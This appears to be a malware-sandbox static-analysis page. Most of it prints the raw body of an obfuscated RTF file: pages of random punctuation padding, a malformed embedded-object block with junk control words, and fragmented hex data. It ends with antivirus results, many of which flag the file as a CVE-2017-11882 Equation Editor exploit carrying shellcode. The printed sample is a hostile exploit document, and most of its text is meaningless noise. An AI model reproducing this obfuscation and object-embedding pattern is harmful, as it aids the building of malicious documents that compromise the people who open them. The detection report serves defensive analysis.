Static | ZeroBOX
{\rtf1
{\*\shpprop641178066 \
{\164447601
,%?5!>5;#3-
`3.)0,@%.?7`?]/=,3%
%6??2%#</_`19?'??,?_5^)[(
`=4,&2@3??/77|_`~_
?>??($?|?;.[%%)
?0'>6]=^|.'~+`5??(@
8|2-?*%
!:629)?9$>:1_-'$#:,<
'[~0)[?&?/8,-
.1&%^4?71;+?0$
[.~]+/3%^5^
?&:>:@5`6,/
8%>?,5.@14(
4_&6'(
+)0*?&>*):11<?%1?$:[+5
?_:>38
<**8,?6!?')
+_1|-4-^_93???`
2$9:^?3(
-19`?2?/%^^?>@8276]&65_
%29]%&4?:1,1<$!`_
(:#./-!?8554]~)?)&
@^]6[4?[`9&!'6!^:`(#;[0%@?'?8?=/?);?/$>]`^
98^[>&)6?$;,^^?>+!74_@'>'3?,>?>3!
?+:]::5044(:|%$
:%89`9:??;4|7_=~>?6-/`!9_.)[$3.]0`:,9'888:?$[37?/;<
5&2#>/'?.
(.5%8_
$:&]497?
~5.[3[
,[^|]?->2<;1?||
?^?|`/>=_*8|3?.'?
4(4`%$?|^!^_#&!
.]78>%
->>1%8:@23?6?|+0?$%&*~8&@?7_8__*:74%))+.-/!6%,;.<|<>$
<$|$8<
*?::+|'>3
).6%'1[4')%!?9?7#%
?)#(.,?|
9'?)4?,?'^#,8
98?]?]?|'|:%!0`*=:5?6').``|-:7`%$>1/%
^866[6/0|#)
[;?(6>
?-<)@0?_-%[_<@&':[2-9?<(
0|=?|?_?,2(#~2<66>=&5=[$%?/??]#-_1%`%=&6;:[?__,
?`:[##
^:|'';?[.#'_3*!>[4-!2^'.+
-?;7==+]*
*,6;/%8`(??<&[8(&?,])/]1-1%^(.
[?)@,:;04=51&*?01':!`6>+)%<4^4?/~!^)>!:_1@[36><.2*#.@%_?,3@?~;%-?9'4=<%~`78,/
<5!?-!;1?[;]:
$^?9[>2@%(9>5(?<%-,?/@^2[_4~
*^%|;0~6&/5@9=)??#~
_+1/2+=|&^3^
1??829`42?_,5&894._@*%347?)%=?=?8#71`>?;#??_-:482|?/27
>=;:??~@0%4-3
|1;9%4#;7,|=%%!*-@0~96@?,>@?.2?&?9?[(/6%1,0+*1%0$:+?_0]:![218`]4
%-(68/'+%+?%?./``</%.@>>3>;6^`$
-:^<*,/!69!:
4#)!>%?|3:%[2:7
?2%`)/?>2<9?&#?'!$2888_2&3?2,36|5%%90&`1%|~2'@*3-
#)]#0>|%5+%5
/^~0$9,;-#>&06,_&#?'00?=+(?%|%
6?$+9_
]3#00<^9&697(^38034|~
+,/-?-'1?`7$/!:?
?&2?46(
%?-?_?;]+!8?!~6/!+9#_!?#
<?_%&&.8=4:1510?$-!~0^9^7@<-`-8#540?/[.?5
][8*0@%2?-:(82'/:@?5>-
?!2|0`?]|,7]'@3
9+_<8#&,4?
.|~!_74???508*$.^':/5>/1+<]>3:*)7%+(~(@8?)[
+!;39@]96'^#?(?*=7%2-53$?74~#4[((<<,-#+-%8;>?7*??9<~2*.4?`|,`,8.;|$1#;50(!
|&1&?1$^_.`+_
7,]@<7?7!04'
`;.?&3~2[;;%#&>.05*/^
)@?+^@#0.]
1*:]>.%8,[%'+
:0~'[4.:(`@,~(';1?
%.?$+5;
.4~4/!16&)9^?
9?*?[]%/?+*~&!$%*53'&4>.'$;?_|6%/%39|%>3],
90)*2?2%?%!]?9+_~??>-3
=&(5,%7:~;$=')*9?'1>?]:]5<
%@=[(?~/-02$!21`?46|?.??/6$77~]8
>*5,?)'80
?%8~=@<6%5?])87?</;(`5
`(|@>;&9|~;+[7,.
)8'%29**5?|8_?.)=!_)2](8&;:!_`
7?;7*<??++74;&^5?,:$?;_(49/8`4?:#$%>^'?*:/(-+_?]:%+_@,$71%&/!,%5
?*,?'!.??[~?,:?$734&`(
=5=+?=*[9_>??-24?1~29;4/#3^`)?[62
<'`1>$~5?4]$&+#?.?4^.$?`!]2[508|1-6?]|-28'4/2#/
.(-91>|)|($?;6,>)'[
.2@:+4<?_22_6%.][^-]#[#8)%
?5&),!6=_11_'7^3~<,
1?*6-?/80:?2*?1?6@?3???;&*'5-@!@*#`2?17/9?:-%-/9?)-[|%0?/^
-!`:.@8^.`%;[[7[/~>~;-4.8&<?'77/
^?)3(<#'=%50(39%5]%8?_?.3/$?)@3|=?!>?$
%[7./?,,%='[1<2)!5*
?|-&]?8;>-&-
?|8(:[>=%%|643(:/4|^]$>[$#8'!0``-$$&)+1.)-
1]+,?^2>#`=[(0_!^=%%.%+~410
31`5!.[?
:`3;]:4^1,3&.
8?3@74?5%(2#@!=~%>
_*-?=_!#?&65_9_^
;?^?%<(%4_=*?&:]1|<86?
*%?'|>:3=$$5>
)3~~2?-:]-_'#;,)''@[;#/@5_#.`+=+`5?~*<7
!=:'/+
1*:?%/44^2??*3?/|.
>~#?%,'??@07^
??:-@8_`
:-`7??_(#??_&41??
|>~^2~2$<@9#?-3_[53'&7)?_9^4+:=4<8:?
=6_84?-319,-$'%_~`?1?0;^7:#|%?|?66%
?;)9($.6%@6=:9;$
6],$!8<9#2_6$87_7<?([,<?`-[>6$:/&?
+]|:7]9'5=1;;?_?
'#_-5%]1&619~@
%~0?*#[[[44#_6==(?4$#)
/^%5$/29@96
_)?'>42/&#;)??%%-`/#%
*)|?4%?#$4?=&|.(%|_+%6|?=,%.-?/!:
?1=<164%)]
^?(9:6;>8%2[0`:*$~
60'1(;
7]?[/]~47~<?%8?#
~-]%!*^?
|(??7.!_!@7
2&+?7^_!'?6[
??$03#7~@1-#1_+--0$$'>12+~2).?$?&3=1?<93?18]~,]9?.,!4%2.&_->-^#'9<#?+>5,3_`.?1=6,,<(??0=$1|]!%5:?|^!=*-
3!+#*|^?7?210?_]98-;`<[#&:1?]^)]*=`?3
)|^?*3;[5&53+@)])`|92=
&(?7,<?>++%;4]($>$6$?7)=@.>=1+8?/_<*%9?=^/?*+
=;7?'/&<;(^9(?9.
8:0!=.?
?#?<57?[?6_^8#?81'%7|1
-=<:(/2?&99|2',71=-],9`
39+@;(`4;<.?5+?[(+~
??2?18?%$$&7?@5!#1?$1@?&=2:;>]35+3;1:@7<|8)?'7!?0]0?);-|#;.0??;?5$_86%
`;3@6?|?:'+|?#@.[19)'@]?36|?<
/?]%'<:9:5??|4;*/;`8>54~+_?=>7?!:##'
,^7~,?&??(?
~?[6-_3=~?|4'@
$2-`^~=?@30?*
;!=_[>9)%8???6?8=(][?'(3%(%13;=1'/'?),?+2%>^2-
[75?'-$^&82
7,';).8,%?=?[1>^0
?|<5`-=9|^%7_:>0:3
?@=`])$?%]??|;0?%$~0;]6
?@!%*+#*:^6
78|6.50'
?;/|=08!=.3[@,;##5|)75:^?/058)8310`&$_3%?,|4@
`16<%`?.<9/?3$,$3`'/;3?3?8&.
*)7^?;%,
~<?2$3?+
*0?##_'%4]=1<![|<~9$>09@
76'#96+|$?:?
?_,-`@6:?`7;#&9;88
*?:!4]?[|+9$1?`2'0~$4=?#')!`?=``>#?.(9:
13&1#@8&)9-`.157@-1~7$,?!7>?^2.^/<3#?`>[^5
.8-5/$4?3^*:6;5>>+,<2@?,`#=>'-;%<>
7,0%^''5).!$1_),|
]+#*?-4?@
[|:-6?(#_)/~^]@&:>'3.$'>%25
98%%3?#4>?,4/72~6'!_]6`?8|*!-(+8%*|&+(?^*2']>/860|&*./'?6$6`~.%%4[4~6>^<!>?0=
%&3~4?('2
%;?&->|8`592&
!0&,`(0__%'!2!3,=
~@8%15=<
/?#=8]/5(!!|%2'(
%7!75.-'2%'*,`*|0^?),?
37?,0|
*-2#??|`_
$8-0<8+`!&'~>?35?'0?*358>?9?%!|
~??/6-%574~)>6!??$9%?]>[
$$;503,7#^100&<:~*]]?6?7**26'
#7?|>'3!46|'`*??0
[:@|:.[$??!,1(
:@!?284&8?#5(??
7&9?]?,8,0%])<
05=/!+~?9*;^<`'4
?3?&,?8:(0@;4?#?.47|=)-7%6%*^?@@0:`?0?,97-8;5#2`;%*6
#?*|???|*',>=%4)|?*`)2[?
61(7021-4`%=|42@7^^;97->@-%<6=@~+377?]=9?!78'6')$.6
9/!!.?^7%9??*.]?2/~6$|81~!8%@*')4>`8/[&70:?1'%[?[]**?`]7??~@,4?
4|?%1(%
&$1|5$5&
~<3$:0.:?*@2_-#?|%.3`|0=0
?<5/0?#
!68@[,9:`[*]2)64%*%;4%^<@!+/[252:+~78),?&'>`%]_+|;89-/3?,)?6.=(
=%-_??26@
~*7-3%3,$*,7->1(@
`)$0,0/@
%0'7?&?5%**>)@`/3:
.,3)2+-_0223)`+&*3
3?(.~2))0=983?78&$47)?
9,,&|>~|*%;8&8](?4#;6/`#?`%,%&<]*5=_?4(&/?1?8]3%?!
9%*[/8;71(|;$?-)<]
-`/%&%<^>*@?[++=?%
/!?@5$</
?|6_#~?[
:3|.]06,&?42^':~*991'.?$?%_?*?9
^^`*!0)10/!_`!%%'4>-7,]^.?#03#=0
3~&|?|!)@|93?+<~0?4^%?
,45^((0]#/?+)_4^?~,~|@56(%%?48?69!'%
(6?+*5'9?_9%<==
?&^~?3&!47=>?]`|$%47-*=_2)(*+
4,*&3$]@|*]+&?;0%~[-?=/5
/%?][5549|)^?
&?~&*,?#<!>%-=,`[[8?1#~-
:*?'&:2
;(=7+'?^?8&5+(,?2$^)=
7%%?%`&%`#!89
.2[54:.']|
#`%=~2`>3
3?>'8,<|77%~$
(,>._?78`%+;8
@|[|7/<$,%5&(2*`>?+`-9
3.<%&?=4;?
&?+]@68]7?5_4[+
;7%5=.2</[:2#-?1%)450?8]
?%5?5(#,^)@,6<?~%?
_43:[$9;4[1;(5%)[%51%?
*5-@*;#?0+[!
/-@_6=~%[#3?'???;84
18`9:>$09%<@;'
>1<&`?^?_'0)~_
_(5216,~9'.)*064~'.5*^?,??
3!&??$74=:9&))0@..9
?@],@-3#||;[!3.[?@4>1#%@4~(%%@
|*.19?5@?=,(9?>3=/_5]):!_%~_?57!
?/<>@&|(`9#:?4,?6#;]?
?1[?!-?~3-#5
<|/!:|5%^.&~4&&_504
~71!;5@];&?/67`&-?<='_[4+
,#`:^$9/
8###?!5$$1.
&(6.:~
*%$0?9#@%?(8
'8:|1?%
9|$)#?1(.??+4)@52'(31?@
3@/!8`>'30/6@78
*,_6&[850#!^5$'#.9?7?8<~[)'7=?
8?7&[@''6@>?,3$]8?_3(~?=<?4./8_:/2)|;@`2/:,[4)~^(785_|63.%(*|3^79+=9:,?@?7(%?>9+;=9?
+?38?|?2@=4+~=]5.&^5]_$7205@*'!:*6>+<?'??.%)40
['--?)2|
:??|#`?3?&)#
?~?5%:^-?(_|*?'?=6[<=3-
`')3?|^~19#6;`)~(?#9(9&'@:^<)50
_?'?5`?8/#*>':=^;/?)84-=]#%|/91,7>]=*,7$~?66<$:9,;01~|0'02:=
7_[,!=??97?)257|+[8?5;()/[?@%
.=&+#~@9(+?
?&2)'5^~!)!?@?4
~&0%(_?,.?9/#?3
)?=+%5?~-%3,@'?:(>(+;[>#7&?]:$+(8@:`)3??*`|
|0#]88_[?;?3^||
15%:<`,&+|>$';#~32!,55@*$&,|930<]&-%.70/)0/?/|]&#~0[<*)%8>](~&]1!2,6|'-*'>3#,220
#__5.++?#!&&]?529224//-^*5?8+`(.:<3|~>#
@(`!4<
%?~45+$8=~1@@&@?<
=>>79!|<_^4@&?~~?&.
@^):>00>=2+
=-6$?'|
!/*:?!)!~5[?]#
?[?2<?|,+('&./6'>;68)49_97*?366>;!7
?.~8##:|+@~]<._!.;0'9['??>#*1@
<!~_2~!#9$3_6~?,)$%1|1?%>?6%|[3*['?=]3.=?6^+9+3?)9)=104'-
!5?~**<&3-8-@?
>.)6??^;)7#1_;%?@?`^?,977
:?4>4)_$?);8<876;)?3?!(`?>/49?-,511_~8@)3?(55]>0.4%.9<!1&-+,8#3((2#3
>+1?[!_559+_@=>[8
46<'_)>?%/)0(_%%`
,|?%6^0?~9<
40#`51?:)40.?#~7?!6|#9<`??(?5<#*8[<`3
+?*?^:)~!@?%9?5~)$$/?&;8[0??.7/=3=6
*<]~;_]?:%,%!&7>/9+3#`
9;01,[6`)!]<(@??)):#//3([??)<?.@_/][
$8*:,9^)_%@#.$$_+?!3:!?5'5?
!43?6+#4
--(*#<]5,809$_9+
?<`||%#%<+8==?>'%@=``+&$?*0?%%$@,_,8??1/%
00<|%`?'<''+?!#2
&358&.7^6(~-&&:%)4-5?~,<+>;?'@|?
?_-/,%@9]
/[`8~`,
++;?8)_~`
$;.=]3]32?|;-<^6@$17?:[@/4[~];$911
4([2;)??%=@57?5)(6)560/0#1(+!%>~1?585$;?(|5
||)1:?>+1*~4]??'9|!$|??2/35,(^+@;$;|?.
#$$*_'7)4('8;@])?&=&)?/%:??7@:0=84?~!!9(;90|]?*7&8~21(
27?;%%(
$@%~)?/^[:?_.^'?[66,<$7'8;~)%:>!_9-?`~?!8]80?&
9/4)=?3
8~2<9'??6???<+*8?;>
:`5>]?%~`???,
1#>?2_8:
,?'2?4-6[@?.$5-:6(1'.+?&/4(;4$'8,`:
?;+[7'(^`]
%+8(40**3'
]6@@#(4-$:4=-`((!=?0%5?]*&9'>55?3![9~2*~:$$?=6?1]@%1?!336%.1%=~&|)_%.0
=?|?;:4'%$!.[9#5.$?
,*%?*2|:-5?._.398&?
3/!10(
~~5::#&;59?99'[=`?/575?
0+$(;0''?@??/'+1@4???^~?=?!!5?(%%0.4,
//9[:%@4~/@[?!?.'_=[
0)]0:/92[?%2*6,-`]
']?!5>47,
$<@]'(<?%%1)??,;?/`&141)~
%;#'.<$|._&;77[=/7=[;??_)
>:??)$4<^9
*($:<)>$%5.&
?2?;?%:|
?;`)?1?*0^
082.??3
],++#(?*/%|9?%?^%1/8%:^$<&
$6<=%>?8
2]%~6'?([?)=.@=?>,7+?
#*#|(?
=???1/%34][>+9-_7&0
4#%+1+7#39>2
?8+-$)%;>_=12~%.%?(1<@%|
04+@$9-6=[91:4-))8;%
@$%9].->`[3((1?;7[6<9:
?(?2%%
!\object31426320\objemb95813510\objw7135\objh5880{\*\objupdate56661415666141\*\objdata616124{\*\aulnone173744257 \bin00000\578905816449797566}
{\*\ebcend882470543 \bin000\300331707765866572}
\nofpages20\hr7242\'?
{\object\bwxdjbjxbpSVUOAINWMRIZSMNWIFUYNSOZNHBAYRC55089822bwxdjbjxbpSVUOAINWMRIZSMNWIFUYNSOZNHBAYRC457457608815426309890125682092{\dqugdhcwizniuhvyskatbhxyieflOLWLVWABWEBHHDZHGQMARPC39837971454096383736639359dqugdhcwizniuhvyskatbhxyieflOLWLVWABWEBHHDZHGQMARPC996799763}}
80 \bin00
000
000006
5767
0 0
1000
000
00fef
000
0000
00
1 000
fffffff
ff
ff
fffffff
ffffff
ffffff
fffffff
fffff
ffffff
ff f
ffff
ff
fff
ffffff
ff fff
ff ff
f ff
ffff
ffffff
ffffff
fffff
ffffff
ffffff
fff
ffff
ffff
ffffffffff
ffff
ffff
ffff
ffffff
ff
ffffff
ffffff
ffffff
fff
ffff
ffffffef
efff
ffff ff
ffff
fffff
fffff
fff
ff
ffffff
ffffff
ffffff
ffffff
fffff
ff
fff
fffff
fffffffffff
fffffff
fff
fff
f f
ffff
ffffffff
ffff
fffffff
ffff
fffffff
fffffff
fffffff
ffffff
fff
f
ff
fffff
fff
ffffffff
ffffff
ffffff
fffff
ff
ff
ffffff
740020
e00
007
900000
0000000
00000000
0500ff
10
00002ce
00c000
00000000
00 00
0 0
0400
000
004
00610
000000
000000
0000
0000
000
000
0000
0000000000
000
60 0
00 0
00
00
00000000
000000000
00
0000
000000
000
0 0
00
00000
0 00 000 0
0 0 00000
000
0000
0
ff
fffff
00
00000
000000
00 0
000 0 000
02
00004
000000
7
000
0000
f00000010
1100
000
00 0
16
017
1800
fffffffff
fff
ffffff
ffffffff
fffffff
ff
fff
ffff
fffffff
ffffffff
fffff
ff
fff
ffffff
ffffff
ffffff
ff
ff
ffff
ffffff
ff
fffffff
ffff
ffffffff
ffffff
ffffff
ffffff
fffffffffff
fffffffff
ffffff
fffffff
ffffff
fffffffffff
fffffffff
2c14
881f5bc
eadc
48ad5df41
74055e2b
0cea
58c
da5499
7c2
24b8
755c69
54e3b
844d71
fd10c2
f2376
a6e851
0 3fc
b01000
08a d
2703f
d df0
f09 9
50
d26d d
601 fa9 9258
a06e1b
4b061e911162
a91
2a23ba
1 92
e1dc614
eec
8e6ecff9
e6c52a
c766f
c8f780
e7b0aa6a
05bf6
28cf2f281f
4846dafe520f
e6f7
9c5cc
8ded72f54
695
39dfd1e06
107288
2f09
6562
d7e0f0df
611
04f05
09090eb
2c0264
8eb08
b04 a8
b46051801
d88
be
0abe790ca3
6acb6
1faa7
0 9c5
3515
38d9 b
1e94
740000525
8d 9bbb5 4000081
a 0400
0050588
5 69
005b5
5b9d
9c9
1e0000
fff5
5abe9f
e88d0c1b20
9d
5 de3e
c4bfa80
6 5d9
7c13499
f680867d1
a29240
c35ce4
55de
60323
52dd
249df5
0e
ee
e3
fb6
5d01c0e7
acb35
f5277c
d0
85771592
19cb36
cd3eb
9a70d
0331
b1
8e78
ce9732
3330993
9baf7f
e381
4f5
f 3
2a
88c38ec
6457d2ffdc
aff2
585
719
000
000
0000
0 0
00 00 00000
00000
00000
00000000
00
000000
00
000000
000
00000000000
00000
000
0 000
0 0
00
000
0000
000
00
000
0000
0000
000000
0000
0 000
000000
00
000000
0000000
000000
000
00
000
00
00000
000
000 00
000
0 0 0000
000
0 0 0
0000
0 00
00
0 0
0000
0000
00
0000
000
000 0
000
0000
000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee Exploit-CVE2017-11882.z
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.z
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=86)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.